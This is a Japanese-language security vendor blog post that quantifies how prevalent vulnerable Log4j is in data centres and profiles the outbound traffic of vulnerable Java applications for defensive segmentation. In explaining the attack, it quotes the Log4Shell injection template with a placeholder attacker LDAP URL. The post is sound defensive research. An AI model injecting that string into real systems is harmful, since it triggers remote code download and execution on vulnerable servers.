Log4Shell の定量化：脆弱性の大規模な発生
ログに記録可能なものすべてが悪用される
Log4Shell の脆弱性が広まっています。この脆弱性の範囲と真の影響については、多くの憶測があります。多数の「重大」ラベルがこの脆弱性に付けられていますが、リスクの広がりに関する情報は限られています。Akamai Threat Labs は、この問題を明らかにする手がかりを得るために、世界中の多数のデータセンターを可視化して、Log4Shell がもたらす実際のリスクを評価しています。
主な調査結果：
調査対象となったすべての Java サーバーの 3 分の 2 に、脆弱な Log4j が含まれていた。
調査対象のデータセンターの 91% が Java サーバー側アプリケーションを実行している。そのうち 40% 以上がインターネットに面した Java サーバーである。
アウトバウンドの通信パターンを見ると、調査対象の Java アプリケーションの大部分は少数のポートを介して通信している。
アウトバウンドの通信パターンを分析することで、異常なふるまいを検知し、Log4Shell がもたらすリスクの一部を緩和できる。
Akamai のオンラインアクティビティに対する可視化に基づく Log4Shell のエクスプロイト傾向分析の詳細については、このトピックに関する Akamai のブログ をご覧ください。
はじめに
Akamai Guardicore Segmentation は、世界中の数百のデータセンターで使用されており、プロセスレベルのネットワークの可視化とポリシー適用を実行しています。簡単に言えば、プロセスレベルのネットワーク可視化により、ネットワーク内で行われたすべてのネットワーク接続を確認し、接続がソースアセットで開始されたプロセスと、宛先アセットでそれを受信したプロセスの把握が可能になります。
広範囲に展開されていることと、この独自のプロセスツープロセス情報により、データセンターやクラウドネットワーク内のネットワーク通信パターンや、その境界を越えたネットワーク通信パターンを調査することができます。この情報を使用して、Log4Shell がデジタルライフにもたらすリスクの 全体の影響度 と、それを制限するためにネットワークセキュリティ担当者ができることに関して、結論を導き出すことができます。
このブログは 2 つのパートで構成されます。最初のパートでは、アタックサーフェス、つまり組織が Log4Shell に対してどの程度脆弱であるかを明らかにします。2 番目のパートでは、本番環境で広く使用されている脆弱なアプリケーションのいくつかを詳しく取り上げ、それらの通常の通信パターンを概説して、防御する際にアプリケーションを適切にセグメント化し、エクスプロイトを防ぐための情報を提供します。
Log4Shell によるリスクの定量化
組織における Java の普及度を理解するために、世界各国のさまざまなセクターや規模の 200 を超えるデータセンターからデータを収集しました。各データセンターでは、インターネットに面したサーバーと、ネットワーク接続を受け入れる Java を実行しているサーバーを特定しました。Java プロセス（java.exe、java for Linux、javaw など）と、Java 仮想マシンをメモリーにロードするプロセスの両方を考慮しました。
リスクの評価：データセンターにおける Log4 の普及
脆弱性の規模と範囲に関する推測は多数ありますが、データセンターを調査することで、Log4Shell の脆弱性がもたらすリスクをデータで定量化できます。
チームは、調査対象の環境で Log4Shell 攻撃に対して脆弱な多数のサーバーを発見しました。実際、これらの環境では、平均するとすべての Java サーバーの 3 分の 2 に脆弱な Log4j が存在することがわかりました。一部の環境では、Java マシンの 90% 以上が脆弱でした。これは当初予想されていたよりもはるかに高い数値であり、脆弱性の広がりの不気味さを示しています。
別の小規模なテストでは、調査対象の環境の 100% で、パッチ適用前に少なくとも 1 台のサーバーが Log4Shell に対して脆弱であったことが判明しました。これは、パッチがリリースされる前にこれらの環境に存在していたリスクのレベルを示しています。パッチ適用を開始すると、脆弱な環境の数が減少するのを確認できます。しかし、大規模な環境では、脆弱なサーバーが少数でも環境にとって重大なアタックサーフェスとなる可能性があると理解しておくことが重要です。
前述の数値は、問題の核心を表しています。Log4j が広く普及していることにより、この脆弱性は短期間に途方もない規模で広まりました。すべての Java サーバーの約 3 分の 2 が依然として脆弱であることがわかりました。このため、このログユーティリティが使用されている場所を懸命に特定し、緩和策を立てることが、IT チームとセキュリティチームに求められています。
インターネットに面した Java サーバーがもたらすさらなるリスク
サーバーの脆弱性は、アクセス性によってさらに悪化します。この脆弱性そのものでも十分な懸念材料になりますが、インターネットに面したサーバーは、ネットワークに侵入するための攻撃ベクトルとして使用される可能性があるため、さらにリスクをもたらします。Akamai が Log4j インターネットトラフィックの傾向に関して実施した 調査 から、攻撃者は可能なあらゆる方法で、そして驚くほどの数でこの脆弱性を悪用しようとしていることがわかります。
今回の調査では、Java サーバー側アプリケーションを実行しているデータセンターの 91% が危険な状態でした。そのうち 40% 以上にインターネットに面した Java サーバーが含まれていることで、事態はさらに複雑になります。インターネットに面したサーバーは、外部から簡単にアクセスできるため、悪用がはるかに簡単です。このブログの次のセクションでは、Java アプリケーションのアウトバウンド通信に焦点を当てます。また、Java アプリケーションを実行するインターネットに面したサーバーを監視し、セキュリティを確保することを検討している場合に推奨される緩和策をいくつか提案します。
ただし、Java サーバーがすべて内部にあるデータセンター（つまり、インターネットに面していないデータセンター）が安全だとみなすことはできません。Log4Shell は、主としてネットワークを侵害する手段だと認識されていますが、内部サーバーで実行されている Java アプリケーションがインターネットに面したサーバーからログを受信し、最終的にセキュリティが侵害されたことを示すケースもありました。Log4Shell は、最初のセキュリティ侵害と同様に、ラテラルムーブメント（侵入拡大）にも容易に使用できます。
データ支援型の緩和策
Log4Shell が特に強力になるのは、攻撃者が制御するリモートのマシンからペイロードを被害者にダウンロードして実行する場合です。これを行うために、攻撃者はログメッセージを ${jndi:ldap:<attacker_URL>} の形式で挿入します。これにより最終的に、脆弱なアプリケーションプロセスから埋め込み URL への接続がトリガーされます。その後、リモート Java クラスオブジェクトがダウンロードされ、メモリー内で実行されます。
Akamai Threat Labs はこのことを把握しており、Java サーバー、特に Log4Shell に対して脆弱な複数のアプリケーションの通信パターンについてマッピングを開始しました。Java サーバーとプロセスが定期的に通信する方法を理解することで、セキュリティ担当者と IT 担当者は、環境の異常を検知して緩和するための重要な情報を得て、最終的に、Log4Shell のエクスプロイトを阻止し、通常の業務を継続できます。
送信のマッピング：Java サーバーの通信方法
Java サーバーとインターネット間の通信の方法を理解するために、まず Java アプリケーションがインターネットへの接続に使用する宛先 TCP ポートの数を数値化しました。当社の分析によると、インターネットに面したサーバーの大部分は、非常に少数のポート（10 未満）で通信しています。
このことから、データセンター内でさまざまなサーバーやプロセスからの送信許可を制限することの重要性とセキュリティ上のメリットが明白になります。つまり、特定のポートセットを介してこれまで通信してきたプロセスから宛先ポートへの初めての通信を特定すれば、攻撃の試行を識別するうえで有効だということです。
当社では、複数の一般的な Java アプリケーションについて、より詳細な調査を継続しています。
アプリケーション固有の通信パターン
Akamai Threat Labs では、Akamai Guardicore Segmentation 独自のプロセスレベルの可視化により、Log4Shell に対して脆弱な特定のアプリケーションのふるまいに関する詳細情報の収集が可能です。このデータを使用して、これらのプロセスの正常なふるまいを調査し、異常を検知し、それに応じて効果的なセグメンテーションルールを作成できます。
チームは、一般的な 4 つの脆弱なアプリケーションの通信パターンを調査しました（括弧内はネットワークトラフィックをトリガーするプロセス）。
Elasticsearch： さまざまなユースケースに対応する非常に人気の高い全文検索エンジン（%elasticsearch%/bin/java）
Logstash： データのインジェストと変換に使用されるサーバー側のデータ処理パイプライン（/usr/share/logstash/jdk/bin/java）
VMware vCenter： VMware 仮想マシンおよび ESXi ホスト用の管理プラットフォーム（%\VMware\vCenter Server\%\bin\java.exe）
Okta RADIUS エージェント： RADIUS 認証を Okta ID 管理ソリューションに委任するために使用されるエージェント（okta-radius.exe）
当社は、次の疑問点に関する回答を求めていました。
アプリケーションは通常どの宛先ポートに接続するか。
具体的には、宛先がインターネット上にある場合、アプリケーションはどのポートに接続するか。
さまざまな本番環境から収集されたデータを考察した結果、特有の知見を得ることができました。それは、アプリケーションのインターネット宛先ポートの数が非常に限られているということです。
Logstash |
Elasticsearch |
vCenter Server |
Okta RADIUS エージェント |
|
送信ポート |
443 53 9200 9092 80 |
9300 443 53 9301 80 |
多数のポート |
80 443 |
送信インターネット |
443 |
443 80 |
9080 902 443 80 |
80 443 |
ただし、ポートを確認するだけで十分だとは限りません。攻撃者がペイロードのダウンロードに使用するポートを上記のポートに変更すれば、痕跡を簡単に隠すことができます。
このデータからより有用な結論を導き出すためには、これらのポートを介した通常のアクティビティの構成を理解する手段として、宛先 IP アドレスを調べる必要がありました。IP アドレスを使用すると、攻撃の痕跡を隠すことが著しく困難になります。あるサーバーがインターネット上の 1 つの IP アドレスだけと通信する場合、攻撃者はその IP の背後にあるサーバーを制御して、そこから悪性ペイロードを処理する必要があります。したがって、宛先 IP の調査は防御に有効です。
分析によって、それぞれのアプリケーションが各ポートに対して接続する IP アドレスの平均数が得られました。アドレス数が少ないと、予防や検知の可能性が広がります。つまり、アプリケーションが非常に少数の IP アドレスと通信している場合、それ以外のすべての接続は疑わしいと見なすことができるのです。
ポート 443 および 80 の宛先 IP アドレスの数を調べたところ、ほとんどすべての場合で、その数は時間の経過とともに小さくなり安定していきました。
Logstash |
Elasticsearch |
vCenter Server |
Okta RADIUS エージェント |
||
ポートあたりの平均インターネットアドレス数 |
TCP ポート 443 |
4.0 |
7.2 |
7.0 |
3.75 |
TCP ポート 80 |
- |
2.0 |
1.3 |
- |
|
脆弱なアプリケーションの多くでは接続パターン（宛先ポートと宛先 IP の両方について）が非常に限定的なことを理解しておくと、アタックサーフェスの削減と攻撃検知の両方に活用できます。
結論
Log4Shell の脆弱性に対して最も推奨される緩和策は、パッチを適用したバージョンのライブラリーを使用することです。しかし、実際の本番環境では、パッチの適用が必ずしも実行可能でなく、迅速でもありません。
脆弱な各種アプリケーションの通信のふるまいに関する当社の調査結果は、アタックサーフェスを減らし、Log4Shell（およびその他の攻撃）のエクスプロイトを検知するための別のアプローチを示唆しています。
ネットワーク管理者の方々には、脆弱なアプリケーションの通信パターンを調査し、宛先 IP アドレスと宛先ポートの両方について、アウトバウンド接続をマッピングすることをお勧めします。この知識を念頭に、既知の標準通信ポートでのみトラフィックを許可することで、防御者はこれらの接続を必要最小限に限定できます。
接続のブロックが選択肢とならない場合は、新規のポートや IP アドレスでは、インターネットに面したサーバーからの接続での異常なふるまいがないか監視することをお勧めします。Akamai Guardicore Segmentation をご利用いただくと、プロセスレベルの情報を活用して、各サーバーが実行するさまざまな接続の可視性を強化できます。当社の脅威ハンティングチームは、Guardicore Hunt のお客様のためにこのデータを事前に調査しています。
Log4Shell 攻撃の緩和策の詳細については、次のブログをご覧ください。 Akamai Guardicore Segmentation を使用した Log4j 不正使用の緩和策
